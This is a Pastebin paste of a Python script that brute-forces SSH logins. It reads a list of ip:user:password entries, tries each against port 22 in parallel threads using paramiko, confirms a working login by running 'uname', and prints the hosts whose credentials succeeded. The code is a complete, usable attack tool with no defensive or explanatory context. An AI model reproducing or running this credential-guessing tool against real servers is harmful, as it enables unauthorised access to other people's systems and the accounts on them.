Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import paramiko
- import socket
- from multiprocessing.dummy import Pool as PPool
- class GoodPassword(Exception):
- pass
- class SSHBrute():
- def __init__(self, threads_count, ip_list, timeout):
- self.threads_count = threads_count
- self.ip_list = ip_list
- self.timeout = timeout
- def ssh_checker(self, ip):
- data = ip.split(':')
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- client.connect(hostname=data[0], username=data[1], password=data[2], port=22, timeout=self.timeout)
- stdin, stdout, stderr = client.exec_command('uname')
- if stdout.read():
- print('[+]Good: ' + data[0])
- raise GoodPassword
- else:
- print('Wrong Password')
- except socket.timeout:
- print('Time Out: ' + data[0])
- except paramiko.ssh_exception.NoValidConnectionsError:
- pass
- except paramiko.ssh_exception.AuthenticationException:
- print('[-]Wrong username or password: ' + data[0])
- except Exception:
- pass
- def run_brute(self):
- ppool = PPool(self.threads_count)
- result = ppool.map(self.ssh_checker, self.ip_list)
- ppool.close()
- ppool.join()
- return result
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement